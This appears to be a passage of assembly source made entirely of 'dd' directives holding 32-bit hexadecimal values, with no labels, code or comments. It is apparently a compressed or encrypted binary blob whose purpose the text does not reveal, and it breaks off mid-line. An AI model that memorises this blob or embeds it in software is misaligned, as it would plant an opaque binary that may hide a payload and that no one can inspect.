263450D4h, 72072500h, 1E47DA49h, 79E40144h dd 83138D66h, 0C012F4A2h, 643F1003h, 8875FF49h, 7150168Bh dd 177D48h, 8ACE464Fh, 0F46CBFAFh, 0B9910D00h, 0B2BA81Eh dd 0EE6B0014h, 0EBBD7D1Ah, 0F8B54697h, 6A9A0736h, 0D05A4A11h dd 0A3C68EFCh, 0E053B700h, 30FD7995h, 39D201CEh, 44D48B10h dd 0E3C074CFh, 9A222500h, 0A7AEB241h, 0AC3E0053h, 0F6915674h dd 37721955h, 61BA8602h, 8090FF8Eh, 39C4E7ACh, 44AD0012h dd 0CCF29F36h, 0ED00A5A4h, 53B8731Dh, 5B39F1h, 0D53F8717h dd 0D9F9EEA1h, 0C5601C91h, 3E1DB8AAh, 139D6BFBh, 0CBD34F5Ch dd 9AC88CE0h, 51E8D2A5h, 2760DFEh, 44920FF2h, 636EF20Bh dd 0A4610096h, 0E660055Ch, 848C00CAh, 6ECB9254h, 0E728C78Eh dd 0BB00E866h, 0B90FFAC6h, 989AE15Dh, 0F22D0036h, 0B412AC39h dd 0CF0032B7h, 0D75446F6h, 0B00D5DC2h, 16F2EBh, 0B1F4DF6Bh dd 6E136C92h, 0A5E02CECh, 500FD300h, 943C55AFh, 0BBFC00C1h dd 432434DDh, 0D80EB452h, 40D35897h, 0E26853C7h, 0A9A40391h dd 658E1B70h, 0EBCE7B88h, 0FE3C8600h, 35A51526h, 92D0001Ah dd 0EAB2795h, 983EFA70h, 0ED69070Dh, 4110A38h, 64C89668h dd 467400F2h, 16337FB8h, 0AC018205h, 86D1CBE4h, 0BE05388h dd 43E91F79h, 0A28A4074h, 9DD36AE3h, 2C4C5D38h, 8200582Bh dd 5F0DD4ECh, 32090088h, 0EF8B6C65h, 0EA757576h, 0AD00AB90h dd 809687B2h, 8223B7h, 7C5C8E91h, 2ADBA3AEh, 2E74F900h dd 36FE4FF3h, 9A3C0043h, 0F67AFF1Bh, 6600E528h, 50DAD657h dd 0FD99370h, 0E824AAAh, 6996B7A1h, 1EB0DCFFh, 0DF4D8B00h dd 247FCB67h, 0CD460156h, 0BD97C3C4h, 7BB3CC27h, 26CFB201h dd 0E80DE1B7h, 4BB48D4h, 2CAD72CDh, 1FC8C099h, 4000581Ch dd 74DAE093h, 818826h, 3F536534h, 35DC9D4Ch, 0AE2AF07h dd 0DA108625h, 72B541ACh, 4A7148h, 999096B6h, 0CB83B169h dd 0D642F409h, 3288033Ch, 151FE020h, 0A0DE0068h, 31D8F392h dd 0C2C43DAh, 7600E2C4h, 0A9F6AFBAh, 0CFEA07A2h, 6051C794h dd 0C402FC2h, 0C4D9A400h, 0CAA7BEEDh, 78480018h, 0EE83AF87h dd 4F00E8BAh, 1E673B64h, 14E19F7h, 0E5264BBBh, 0F4B2337Dh dd 0A6E41532h, 0E6A81C50h, 7CE2B400h, 9BDE525Ch, 0A0E857h dd 3DBCDCFFh, 0F9429DC9h, 4420C11Eh, 704FB400h, 75C6A5Dh dd 6FA70919h, 0A81090DEh, 8C00BF07h, 0F85B16A4h, 26C1FDBh dd 1E455C5Eh, 0C175EA6Ah, 0A0FC965Ch, 383B0C1h, 1149F8EBh dd 14C8423Eh, 90FBC59h, 608B7B4Fh, 2281EAB9h, 0F533008Ch dd 0E1DC035Fh, 0D509D440h, 8087902Eh, 734CF293h, 46E90027h dd 2186683Eh, 2C031B9Dh, 54B8042Dh, 9B75A847h, 8D5B037Bh dd 0FE62BB0Dh, 0F455F881h, 0C01FDB78h, 0C2C0FFBFh, 4922A117h dd 19EC0031h, 3C3844E9h, 660269E1h, 0A960D583h, 0CCD9E0E2h dd 81AC00C9h, 5D14EE40h, 0B61FC08Eh, 47C0F019h, 55302825h dd 0A8E80768h dd 0C0CBB161h, 0C2BFD69Dh, 89626405h, 71C06349h, 0E675104h dd 3C2AB57Eh, 0E20ADBA0h, 0CC021045h, 8AB2AB1Eh, 80808FF3h dd 1BF7DE56h, 0F0890093h, 7AB04A18h, 0BB0EB243h, 0B89DFF97h dd 0B14866h, 0CEAD545h, 0A9B3BC52h, 75B6FC01h, 0D36EAB07h dd 0D7E32A82h, 3440B456h, 0B500B92Eh, 338AC702h, 7F9522E6h dd 1CEA01Ch, 0E611F8A6h, 98393C6Ch, 253D8780h, 26A1554h dd 10D56700h, 1ACBFCF4h, 6C3E0027h, 891BBE9Ah, 0F71CF5C4h dd 0DF007D4Eh, 0B9023349h, 0F591829h, 1C17886Dh, 0BE009A74h dd 5309546Eh, 161EB2Eh, 0B9E4D7CAh, 80D12DB3h, 0A390B821h dd 7DF98587h, 0A774F6h, 1F38A5C0h, 8E9779E3h, 20DA6E00h dd 0E2542C15h, 0B065E4B5h, 55B43029h, 0CF8F0C11h, 0FF849654h dd 1A4D4F03h, 7C6D498Eh, 4A2E1DB8h, 8020B735h, 7E4D8A65h dd 0F6595200h, 0E11056D6h, 30EE739Eh, 4448A2C7h, 1D003E6Ah dd 212EDE97h, 0AF1CA77h, 7FA5A7E4h, 848A0660h, 0F500F975h dd 0E07D2F57h, 523445h, 5D80647Bh, 0E2949FBCh, 0FC2BD000h dd 1647787Eh, 43950055h, 447F7B1Dh, 0F401256Dh, 8E12EC05h dd 3D20A456h, 0F4D0B52Dh, 490C1F00h, 0ED7B5159h, 527D00C8h dd 0E5F7F1EFh, 8400A78Ah, 1DCF73DEh, 4C295Fh, 0ECE21465h dd 10CD6FE8h, 2BDFA701h, 52FCB070h, 0C28DECh, 0C1EFF1EEh dd 0E7960A02h, 0D4DD2600h, 300CBF48h, 0D37F0044h, 93AA432h dd 0F300D8EFh, 0EE430B70h, 3EE47EBEh, 0DD01D0F4h, 0D4BD5B1Ch dd 0A0DE0E7h, 5991AE00h, 94E4C54Eh, 0DD3600BCh, 7B43A8C0h dd 35180BE2h, 5911F3D5h, 0E11B0206h, 2876EB94h, 0B18DA480h dd 0F1054513h, 7CCD7DD2h, 5EDC5981h, 0E9BD4D4h, 479F975Ah dd 404AAF87h, 0AE9ECEC4h, 0F2531D14h, 0EF9280F8h, 1DB2347Eh dd 1FBCB86Fh, 458200E6h, 8CCB2A68h, 6AB05D4Bh, 0E8FF506Eh dd 51460044h, 67B582C6h, 3B01F84Dh, 0BE9FB3FBh, 0F8519D8Dh dd 0BD70DE03h, 96DC2C33h, 5CB700C5h, 0B909D93Ah, 0DBA89100h dd 0A4183D7Bh, 1DAB7933h, 801BB038h, 454636EEh, 0B307D0E3h dd 34E86924h, 4098A6D2h, 0BDEC38h, 0D7C42823h, 537020F8h dd 990F0C00h, 0C9EE84BEh, 0B2E835FAh, 19680090h, 8108493Bh dd 0BFF150C0h, 21BB61Eh, 0FEA3BAE0h, 0A8803E86h, 466604ECh dd 0EBB2F000h, 5A8B3FA5h, 0ED4D0CADh, 6D02A468h, 0A7D82403h dd 0F8EC487Ah, 1E45EAE9h, 3F59FFh, 7FF7ABACh, 2801400Ch dd 0D90A67C5h, 72F04DE2h, 13CEB07Ch, 0BEBEC29Eh, 0F3913F18h dd 0C4BF03D7h, 0F090AF18h, 0D56BB2B9h, 88982498h, 0A0C97618h dd 6A118530h, 18D86Eh, 439265E9h, 0CE5015ADh, 0D7123FBCh dd 4C00829Fh, 70E337A2h, 0D9CD099Ah, 3401F5B7h, 41766F02h dd 109E852Ch, 88C1972Dh, 80042441h, 0CFD1AD40h, 2025A721h dd 0D35CA26Ch, 63596177h, 38074BB0h, 0BA0C2161h, 55194902h dd 0B09BA7DDh, 0B111403Dh, 0BF13546Fh, 58101893h, 0E0409CE7h dd 6E9A22D7h, 0B1991933h, 21BEDAC5h, 781D9B5h, 0BB4CEF40h dd 0EA1B008Eh, 95872685h, 177C02ABh, 36355E00h, 43A2F15Fh dd 39AF3ECEh, 59E75B06h, 1F038E4h, 6DAE0507h, 3010BA71h dd 0ECF737E0h, 61E3006Fh, 5DFF7CAAh, 0DE003D5Fh, 8AC4368Bh dd 0CE2F12Dh, 14CA4C2Bh, 83003A48h, 0CE555DD2h, 0A3C0CBh dd 0BA8297A1h, 5A15E249h, 0EB322500h, 7B81F57h, 0A74F0056h dd 0E0780D0Fh, 7F0FA3DCh, 0C09DD427h, 0EFEE5DB5h, 0F68E1F5Bh dd 2B4EC772h, 712F21E0h, 52709FB4h, 0CF370280h, 633589h dd 5DFE5B68h, 0AF5F11D1h, 0A3872703h, 0ED52837h, 0D2C38A18h dd 0A2E43B21h, 0A41041A5h, 802E0263h, 0F26FBB98h, 0C7DA189Fh dd 6619101Ah, 1C92F460h, 63F33BFEh, 122508A2h, 94562000h dd 0D571EEF7h, 6AA13FABh, 5442ACD4h, 57B8CDh, 16FC38F1h dd 58E5F807h, 0CFE19C00h, 0EBBF68Dh, 9130009Bh, 0D7377EA0h dd 4A038A62h, 27956570h, 0DB980038h, 0F64284Eh, 88015E52h dd 89737BB5h, 2080010Eh, 0BBB6164Ah, 0AB0A2748h, 0D4292FD1h dd 0AD44DD00h, 1FA2F27Ch, 9FBEF8FDh, 190F02ECh, 0D8B0FA10h dd 0E4009031h, 0AC03CA7Ah, 4C4DE6EEh, 0FD00E975h, 0A3D1D404h dd 800C98Eh, 0F69A51BFh, 877F27h, 0DADD43E8h, 0C11E52C8h dd 35CCEF00h, 8E3C799Fh, 0FA283DA8h, 0C768BF1Eh, 0F0D47701h dd 4FB52A5Eh, 34193C78h, 0CB081E13h, 16CDDD4h, 629EDF87h dd 0CC85DC1Ch, 9A0E6ED4h, 2A166C4h, 7DF31ED7h, 0C0028BE0h dd 4BD848h, 793F6177h, 1EC2FF37h, 309DC32Ch, 2208128h dd 91F7B100h, 1824B870h, 6E7E4Eh, 8B61F55Ah, 0E564257Eh dd 18816930h, 1E54FF1Ch, 257C70Ah, 0E603720Ch, 49B507E0h dd 3D82C406h, 30EDD0h, 90FB8A80h, 44248456h, 5E1FD400h dd 2DEEDEA9h, 21DD0059h, 3EA21685h, 0FE006E29h, 1FB40E9Bh dd 5387B7h, 0A4E01D63h, 0B9F0148Ch, 0CF3D4A00h, 52051EBCh dd 3D8FFE96h, 43006410h, 0C1E45344h, 0CB983820h, 0C970C803h dd 0A3E892h, 5E101438h, 0A7626B95h, 0AED03E00h, 70F54145h dd 506107CFh, 60F035C9h, 67F32337h, 0AD1EB10Fh, 0FE2700FBh dd 7B01B6Ch, 8C9EE8BCh, 8554058h, 0CC0C88D6h, 580CA430h dd 2BAB00D2h, 1620A831h, 1B0C5C2Ch, 681C4887h, 5DCC00EEh dd 8886273Fh, 0D70C57E8h, 0D849F351h, 0DEF11CAEh, 0E0807A9Ah dd 0B6B29029h, 3CFA3988h, 264C6801h, 1378F2BCh, 0FC4B4EE8h dd 0FCAC019Eh, 5FA9E78Bh, 26488C56h, 61084Ch, 67C87328h dd 8CD0E509h, 0EC8BD403h, 44A818h, 0D886E120h, 39F25E3Dh dd 0B3462803h, 7577C5h, 2A13DB88h, 0D9FB18CEh, 1FF5D300h dd 0A60A4359h, 74DA0001h, 6A13E2B5h, 4C001161h, 892FF62Ch dd 104DCFh, 0F30D972Ah, 416DE71Ah, 7D7D0A71h, 0B4DAAF17h dd 80F1B309h, 0B8EF5579h, 3CD006Dh, 6919C8A8h, 0E4744018h dd 80863Ch, 6BCE3E64h, 3B9B01AAh, 0A480B4BFh, 562BD516h dd 7F01C83Fh, 77782F4Dh, 93F00FB8h, 2C640EB4h, 1FC9DDA7h dd 0A3182A0Ch, 0AE08960Fh, 0EC23845Eh, 7D333D40h, 5100E4B8h dd 42A89EABh, 0CED96530h, 6160C2A8h, 53BB9A45h, 0F038C900h dd 26169BFDh, 0F95E00B1h, 0B8C2AAC7h, 0A87AEE9Dh, 0D40791A0h dd 0F77A4E00h, 2B05AE6Ah, 919A240Eh, 12C400CFh, 6E065773h dd 0A9AB5850h, 82663200h, 74950C55h, 0F10700C7h, 28586F9Fh dd 570F87BCh, 6EB4DF6Bh, 0A3C9001Ch, 12BB79Ah, 5158D733h dd 0D3DE42E8h, 143115B0h, 9C4DD501h, 0B756CFB6h, 606E0980h dd 0E3911554h, 0FF0F9409h, 69CE0049h, 7C406Ch, 9C85D632h dd 0D7281BF7h, 3C58DA00h, 346C8415h, 0C90131D3h, 1181320h dd 70816D86h, 0A07F516Bh, 4D404037h, 9C21DF77h, 968CC01Eh dd 0C7006B94h, 260670D7h, 0CEAFE2h, 7D3CD631h, 0FE3F2D2h dd 0CAB18A0Ch, 54AAE0CBh, 23E30BAh, 0A6A4EC72h, 7145769h dd 4E7213DFh, 0A40AB045h, 5B7EABF6h, 0E970B800h, 0E5BBEC24h dd 0A2EAAAh, 986A5F85h, 0FD0F437Bh, 82046F26h, 9A341A02h dd 35ECC1B0h, 89DDCh, 399B6E8Ah, 0C8168DB7h, 0DDFCD300h dd 70A36C59h, 8E04003Ch, 0B8F74C2Dh, 4B079389h, 7478EEF8h dd 540FE830h, 3F90001Eh, 9FBE7DF6h, 2200AB81h, 0D9592CECh dd 7312B26Dh, 9D160017h, 842E7F0Dh, 290181A6h, 0F225D241h dd 4BC9F6E8h, 0F4C0ECh, 0D711B0C3h, 0D5E37D81h, 549AB200h dd 0E0FC075Bh, 0D4F32D59h dd 378B3DC0h, 44745800h, 491B722Ah, 66B8149Dh, 40E00431h dd 10C07FCBh, 6D204CF0h, 43BB0053h, 0E5FD3E95h, 0ABFCCE50h dd 8C123C00h, 1828E2EEh, 52CF0F94h, 28BF2FBBh, 0C2D13FA7h dd 5FB0F480h, 4FAEA05Bh, 70395900h, 6F8C974Eh, 0C485005Ch dd 0A17EAAB4h, 22034F6Ch, 823D7056h, 0F5B0AF60h, 5C16E4h dd 0C4356450h, 0E83803BEh, 37C11C00h, 7E58A1D2h, 6021032Ch dd 0EB7FA4AAh, 1891EED8h, 4D6A600h, 0E4501645h, 0AEC70092h dd 72B80338h, 6007C2Eh, 3E7080BAh, 13F2CB1h, 1CFF404Bh dd 0F8CD5E8Bh, 0C000A9Fh, 0CCB708CAh, 26AC4F2h, 0F9882A0Bh dd 71400396h, 9D009CD3h, 19BD087Dh, 1C5F80AEh, 4098EC7Ch dd 0DF9BA039h, 1A00F83Dh, 7C1AB44h, 0EECAB760h, 2C9001B2h dd 0AA9486B3h, 211430CFh, 0B1770400h, 0E2FFD091h, 0E8DB0023h dd 0F1CE4C22h, 0EC38D39Eh, 0CD00F9FDh, 0D8614A3Bh, 0AAC42Fh dd 90C78B4Fh, 62D4B837h, 8014CD00h, 0E8293CFCh, 0CB753AFDh dd 0D1DD100Fh, 8E4694A0h, 0E100F6A2h, 0DAECA1F8h, 4407C3h dd 60299B97h, 17C9D9CAh, 0E00AC0A8h, 0A028190Fh, 0ADD78040h dd 8C90D4h, 0BEEA9B9Fh, 2AE669B5h, 0AD9E6028h, 0FB0704F6h dd 5E96EBB4h, 1EC73470h, 9F020098h, 0C1192306h, 683B44A9h dd 9EEC0089h, 773111ABh, 0EB90098h, 0E265E573h, 0DD0125ACh dd 94C8B5A3h, 5FD9A47Ah, 19D47C4h, 2918EF28h, 0CC790D66h dd 3B00B77Eh, 5F2E32AEh, 33DEE4Ch, 0F4B6C758h, 4BB34306h dd 7F4A25A0h, 0C80E23EEh, 2014B7C1h, 0AFA54162h, 96F019Eh dd 0CE7F1E64h, 7978FC82h, 92660A00h, 3CA5A302h, 5B6700BFh dd 347E2D6Ah, 0F601DE20h, 7F114154h, 0F3C00A3Dh, 9C720075h dd 0D09C5C0h, 63883E5h, 0B05F0F9Bh, 551EE0D2h, 9F9E86h dd 8DD152B9h, 18F91473h, 98F81900h, 2A21598Bh, 16360071h dd 78907986h, 0FE0EC014h, 0E026AB2Bh, 8C968F50h, 0DA47006Dh dd 0E56A86A6h, 0C701A267h, 324907EAh, 7FD9F271h, 3FEBC0h dd 6585F175h, 5AA495BDh, 375FD100h, 0C388543Dh, 4B8F002Fh dd 0EC807DCEh, 1C00D8C9h, 0EE67EDE8h, 3490668h, 8BDE9731h dd 6BC0CD26h, 2D074E25h, 88A78145h, 1772AD0h, 0FAF4A8h dd 3EA367F4h, 588D76D4h, 0DA9EF700h, 0CEAD0611h, 0F8B2014Fh dd 0C01C2A6Ah, 4732E033h, 0E0465604h, 0C0803C09h, 0B1157Bh dd 480E9624h, 0F63ECB4Ch, 0F8730300h, 0DC1CD169h, 42C80088h dd 5397EEE3h, 641C35B9h, 807CB3C2h, 0AF44EC61h, 1E19DCh dd 4A4E2F2Dh, 0FE454D5Dh, 83331F00h, 39DD7B42h, 0BAAD396Bh dd 1200BCBDh, 301AEA10h, 903F04Eh, 0CCAF528Eh, 0FE97C804h dd 0E42800BEh, 0F2EE66Eh, 0F00005E3h, 0B6E7189Bh, 5C352695h dd 0DB000B52h, 0F688FC9Ch, 17002F5Eh, 0EAF82E94h, 0E61AE3h dd 8B01BB19h, 50E2BD9Ah, 1E2FC201h, 0DA025C24h, 1497D4h dd 274183EEh, 0D04DB053h, 0C08B9313h, 0C144B300h, 8DCBC8h dd 0AA52D604h, 11312D5Dh, 0BD50BE01h, 0E7ED8C87h, 0F0E44960h dd 243F7154h, 0DBC35Eh, 4305DCC7h, 2809F1B8h, 170220h dd 0FEBE34A1h, 0D9861C9Ch, 0A0630004h, 1D35C054h, 0C7991803h dd 0A8E862D1h, 0FE6765Eh, 0AB567345h, 342D0F60h, 20F70885h dd 0F300A129h, 55CD1BB5h, 917E70h, 3E33EB6Fh, 0B1C7F6FFh dd 41725903h, 0BBBB8940h, 0A56B98E5h, 977C004Bh, 0C49647E2h dd 0FE002A99h, 9B2B0EE9h, 9AB798h, 22C71CF2h, 713A6E21h dd 0D4E6E500h, 3F9909F8h, 0D3FC5Dh, 0D51D815Fh, 7C1F5025h dd 0FD87048h, 80A1BE20h, 0CEF07F96h, 0E7C5009Fh, 0F799331Eh dd 0E05FD52h, 0EB54CF8Bh, 59E32380h, 6B646607h, 0A312F06Fh dd 0B444778Eh, 0F500C8F6h, 8A4B40B5h, 0A79A290Eh, 0D1E26085h dd 74C7BAE0h, 11930074h, 0F7B61B80h, 8F008607h, 0A7F289A5h dd 0FAB7DC3Bh, 707D03F4h, 81AAD430h, 0BD3DA5C0h, 3400D374h dd 876EF8BFh, 76AE2Fh, 0CB854B9Eh, 1121B7E1h, 0D2ADA800h dd 40FA04F3h, 0D90900F1h, 0F076CA06h, 0C200DD2Ch, 0D6127C0Ch dd 0C7F59Fh, 0BA8BD77Fh, 5045D8CDh, 92BC7E5Bh, 2D44FA00h dd 0E654BF1Eh, 0EF133Ch, 8A3B5835h, 0EBB4563h, 0CAAA11D9h dd 0D1B49FE0h, 0A3014F26h, 2B52360h, 8EF0A0B1h, 45CC0025h dd 94764A84h, 6500D619h, 0BF15A249h, 1D6F0647h, 1E7CBA5h dd 0E8560F0Ch, 0CE3080BCh, 49031F8Dh, 60D27740h, 0E640874h dd 3100FB5Ch, 113BB884h, 98F9D1DEh, 28C2006Fh, 0ADCB4D3Fh dd 3101E83Ah, 8FE0E158h, 1E9FFC69h, 2D6EC086h, 0E333D617h dd 7C05F248h, 1A9F1900h, 18D01696h, 0CC4700B2h, 71EF031Dh dd 2F065AECh, 63CC875h, 51B70028h, 0A8DA23EEh, 7B00EFC3h dd 1643EC10h, 0EC1691Bh, 0D92237FCh, 98E74A40h, 0FE1F9E9Fh dd 5880F261h, 9123D786h, 21BF0076h, 0DE90E2D2h, 5C00E957h dd 0A467851Eh, 63B2CAh, 8EE6705Dh, 0CBEFF13Fh, 40DE1500h dd 62E55CF7h, 0AE3300AFh, 785484AAh, 0C00096ECh, 2139EE80h dd 40E4A4h, 5B6170EBh, 3A9218D1h, 22ADED00h, 5962C2FEh dd 344F0079h, 32033978h, 40000E1Eh, 7EC79E30h, 0FEDBB9h dd 99C67B06h, 9DE5D78Fh, 79B27600h, 7443E39Ch, 296900FDh dd 4DA1EDA5h, 1C782140h, 62A84401h, 793E570Eh, 3FA65530h dd 7C80D6B1h, 46C67D5Ah, 0FCE53456h, 4A05F050h, 130D47A6h dd 8722A440h, 26A565E6h, 3ED42BAh, 821A1460h, 78EFE780h dd 4FAB290Fh, 8A61A088h, 32A20CFh, 628C8BBCh, 490727A3h dd 9FBD4BABh, 0F93679C0h, 868D3F71h, 7D8AE307h, 8CCF8010h dd 5E009C11h, 80EDB149h, 79584419h, 0FF220003h, 50985FF4h dd 0B017CB0h, 0E5A8F9AAh, 38E87DA1h, 0F669C046h, 0A985824Ah dd 0AA56FC00h, 677EC36Eh, 42C51D4Dh, 185F9Bh, 5D4F0BBFh dd 9C03A86Bh, 8D6999A2h, 0CA03B07Dh, 0EA37E23Ah, 0A83000D6h dd 0E1F3081Bh, 2700FA36h, 0F4EB1942h, 1C2C8059h, 40489074h dd 605AFEB8h, 0EF00EC15h, 4963DB08h, 37BC2629h, 0D3E05907h dd 48F885E0h, 6D07548Dh, 24F18A13h, 2F7C1550h, 0FB4F0722h dd 0B718788Bh, 2BAAE0D4h, 1A00E7ACh, 0B4CB70FFh, 0F20A8Ah dd 174E1D36h, 23D6BFA4h, 0C42D5600h, 0A5DECB98h, 748600C1h dd 0DC3FA833h, 9F000C30h, 9048FF92h, 734002h, 526CB509h dd 16C8E839h, 7DCDDC50h, 80F9763Dh, 0D6A4C0CDh, 0C0534881h dd 7444D5A8h, 6801A0B5h, 0F635071Dh, 0DCEC175Dh, 0A381006Dh dd 9287CF06h, 0BE0054EBh, 0F562E1D4h, 388F0AAh, 4F9DDE39h dd 0F90C7F93h, 41FF9ED5h, 1B47008Ah, 988C41Dh, 8F38DD86h dd 4A0A80E3h, 1370F5D4h, 0CDF4EBh, 5AC150A8h, 0D84E6C66h dd 143F9200h, 67307203h, 3D055C09h, 0A7F1A305h, 7447C070h dd 281E7F86h, 9E40FEB5h, 0CC7D3B02h, 0CF3C1FDDh, 57868068h dd 2EF5AF1Eh, 0FA380300h, 483A1964h, 8CBA1D33h, 2073808Fh dd 95F03780h, 0BCE94E00h, 0D5474B3Dh, 5BFE00FBh, 5F59CD0Fh dd 6B006626h, 0AB8705BBh, 0C014FB7h, 9F041EF0h, 54003970h dd 6519345Ch, 5176Fh, 20981DDEh, 504F59E5h, 0FB794D98h dd 0EAF7D200h, 0A7D49E99h, 0BA1D0034h, 906759Bh, 651C53B7h dd 0A2802BDDh, 0F2DFE246h, 0F98000E7h, 39ADF085h, 3E77DE9Bh dd 49C058FEh, 50D033BEh, 3869007Ch, 60677ABBh, 80954CE7h dd 77A1B9D8h, 3CDB0016h, 4579D7E1h, 0E2009EA4h, 0D5038B62h dd 807F2Bh, 0E4AAD39Ah dd 95227733h, 0A81E6C74h, 0DA41C8B5h, 0AFD0D90h, 0FCB12870h dd 0E1C40067h, 609CE9E7h, 633E5E5Ch, 58408015h, 0A17E7D59h dd 0FAFB0070h, 4EB6F09Dh, 60006336h, 0CEE6B862h, 5F33D34h dd 5C74C620h, 1AEAC02Eh, 0DE03F699h, 3834C8FDh, 65848CA7h dd 4629203Ch, 3E1138B0h, 2C441F35h, 0BDC33081h, 508067E7h dd 0EE789E7Ah, 28066A90h, 0CB7CA875h, 0D4B0048h, 2E33BBB2h dd 8CFE15FDh, 9225F500h, 93ED1629h, 9D8500CCh, 98199622h dd 9B016C91h, 0E3297E03h, 0E2F12B38h, 0E4463D0h, 0A18B7710h dd 0E0F58327h, 7DB93ED3h, 0CE762206h, 2832D4h, 843C3B42h dd 31C4627Bh, 9D199F00h, 3D1EA660h, 1758C063h, 365648Eh dd 0C84A3000h, 34B6FB27h, 665B00D1h, 504B475Ch, 5960F06Fh dd 35923EB8h, 520D0772h, 15576480h, 0B5807374h, 0DEF324F1h dd 0C6A71E36h, 0C02A9EB4h, 8A8D8096h, 3D0C0B42h, 7070DD13h dd 0B033027Dh, 0D921680Dh, 14F99CE0h, 997EFE1Ch, 44916B03h dd 0F4C80053h, 0CB9D1162h, 493F6F9Ch, 8818082h, 19100717h dd 0D5C309FDh, 2405E86Eh, 0D0D5C02Dh, 0CE528214h, 53A78120h dd 45080BECh, 48471B00h, 0AAF05B6Bh, 0B9BD0BC4h, 7E809BC1h dd 3C38F82Ch, 80C5243Bh, 738BEE45h, 0F8B67BA7h, 0DAE3511Bh dd 0D1EDC8h, 0AE170A2Fh, 21C212BEh, 0C460B628h, 0F603EAC5h dd 76EFDC07h, 0AC4C5BA0h, 0F21C00D1h, 477957D6h, 511C3083h dd 0FCE48Ah, 4B16552Ch, 7E20A4h, 7A0654D7h, 8D6A13C8h dd 0F6E8DB00h, 8C8490C0h, 33E01DDDh, 31C7C06Bh, 77B3D755h dd 28B26500h, 0C6DC6ABCh, 5E7C0Ch, 1823A37Ch, 376346CFh dd 559E3300h, 0FF13C304h, 0D3A800A5h, 0CA0E856Bh, 3F90BC94h dd 81F2823Ah, 92AD6FEAh, 0DBCCD602h, 5C732825h, 0CCAE01A5h dd 0A2582339h, 3EA3F0F6h, 882E4E33h, 0ABD4B82Bh, 0B0C4007Ch dd 4DDF2771h, 0FD0039DEh, 0D7F2CB7h, 3C82E66h, 0C9D28287h dd 0A83A6821h, 0C1DF181Ah, 4A5D1h, 93C58D09h, 72F2C754h dd 89FD1E41h, 98407FF1h, 0DADCF5h, 41288A4Fh, 0F369ADB9h dd 847C5E01h, 0BFEB4C8h, 6521D0h, 7731F90Fh, 0C7E9C638h dd 0AEC7900h, 887F183Dh, 0BB2600AEh, 76FE5902h, 2B1FC225h dd 1640A4F1h, 0A6299057h, 4CE500ECh, 3A0D86D3h, 0AB00CF1Ah dd 9731EB21h, 88D180h, 49625E83h, 684EC9EFh, 0DBB0B207h dd 60B07DBBh, 0E6DAAD5h, 0F9ADD953h, 0E6308DE0h, 0FF00875Ch dd 0F354EC40h, 0D7C185h, 7C92F1EBh, 3D514F83h, 68BA0B00h dd 0D59D176Ch, 7EC20E24h, 0D1A17D62h, 0F49B41A5h, 0D1F256Dh dd 0BAC047DAh, 0E9358D2Ah, 9D3400FEh, 62EACF2Bh, 0C5005D38h dd 6F9245F2h, 0DE5C9h, 0B95A3314h, 6AE795A9h, 87A13201h dd 7A8A6610h, 4FD8D4h, 45FB908Ch, 1F3C1521h, 32B1EA03h dd 0E0E59B2Fh, 0F35A37Ah, 54400F02h, 30E4F940h, 0BFF46E87h dd 793B700h, 3B22B44Ah, 2585000Ah, 320BDF67h, 3A1E5B60h dd 8F8020B5h, 72E22EAAh, 5C5F05AEh, 0A5A49AFh, 600433C0h dd 6387F796h, 0C5B242Bh, 306CA5D3h, 0B6790044h, 3AF8365Fh dd 84077618h, 73FB1023h, 72ECFDC0h, 0D018C43Bh, 37FA2051h dd 55AC887Dh, 0EB122884h, 22F42118h, 281B0302h, 4A400536h dd 900C4E30h, 20E2C4C8h, 5182422h, 4C548415h, 16501C3Ch dd 4E42B80Ch, 48EDF714h, 854F1410h, 6004563Eh, 81215260h dd 7C0C4151h, 0CA3F0024h, 98805016h, 2C17E31h, 54D62AFCh dd 0A8A011BDh, 0C5A5CDF8h, 5C2F6F0Eh, 0F47FE269h, 0DDB88787h dd 86023ED0h, 95350EB1h, 39F8B2A7h, 8B7B7E1Dh, 0DCF03828h dd 0ADCF6300h, 0D9F4B097h, 0EA401FDh, 91CA3511h, 0C410D4AFh dd 329F420Fh, 0F4B3C196h, 981157Fh, 3310913Dh, 0EC11F113h dd 0F00229Bh, 0B23919A6h, 0F406FF7Ch, 6C4CA07Eh, 17BC30BAh dd 0C5216F78h, 0AF956807h, 0CBD007E8h, 0F8D63B69h, 0F0E5FED4h dd 88B930C5h, 7BFC11E0h, 4F782D00h, 898DFD4Dh, 7C3D484Eh dd 4A257F00h, 55F4D024h, 1CCA722Bh, 78490708h, 4306EB4h dd 81CA063h, 7C1F611h, 0B462BC9h, 0C015BFB9h, 30AA85E0h dd 0C44D5C00h, 14FDDDABh, 2C42180Eh, 494429EFh, 0C462500h dd 9D4D56B1h, 1BCE3A97h, 9AFC1081h, 0CCF08991h, 1A14C9E8h dd 5C8A83h, 0D04CD740h, 104A716h, 0F76E2015h, 0EC772FCEh dd 8F007E18h, 9B3494C6h, 3C84813Eh, 0C301F06Ch, 0EEC0C8ECh dd 0B102C7E1h, 0A9CAEBBAh, 0AF30423Ch, 0A0C40010h, 0A19B3BC6h dd 2AD07614h, 700B0077h, 3F6CE8E0h, 1B0A992Bh, 58FFB935h dd 4D74115Ch, 5208A81Bh, 0B4C04CA6h, 0E3AC0DCBh, 0AB21610Eh dd 422A4244h, 0B4AA889Ch, 0A3D39603h, 46FDA918h, 498C3830h dd 41093C87h, 9B825E82h, 188083AFh, 8560D9Ah, 24B9D801h dd 13230A12h, 12A316FCh, 6195CC63h, 0E326C74h, 0D3612E80h dd 65045CA0h, 12858203h, 9FD5C8C1h, 3808D180h, 3488CA51h dd 159093E9h, 0A0FEA423h, 105EE9B6h, 3B177EFAh, 0E2348969h dd 0C14C0094h, 0A52E6C44h, 0B5F070ACh, 0EEA4B007h, 8DF0CED1h dd 1238EF0Bh, 37322227h, 0E906D294h, 0F5ECD44Eh, 0A9449D52h dd 84328694h, 232A6301h, 0C4F573CFh, 4995357h, 5F75A340h dd 790E7C79h, 9ADC1315h, 9D74002Eh, 782FAD91h, 3CD1E891h dd 0D280DC26h, 3192F50Ah, 9DB78C01h, 3C49FB2h, 844A1CEDh dd 917BAE07h, 3C8A7068h, 0E01EFD8h, 50F500Bh, 76D837A4h dd 0F87EE38h, 459C9F2Eh, 0C5818AA1h, 6CFD3066h, 99429B00h dd 0C2B6C906h, 98D6076Ah, 4AF523h, 2F975C54h, 3BAC300Bh dd 86F300ECh, 80CCE99h, 53F30B58h, 30E8100h, 0C5EBC6h dd 938A64DFh, 250942B1h, 0F37A010Fh, 0A6E2830Dh, 899FC023h dd 817000ABh, 3C87291Ah, 5400CFF0h, 0D5C4F215h, 0B1EA798h dd 479EEF6Ah, 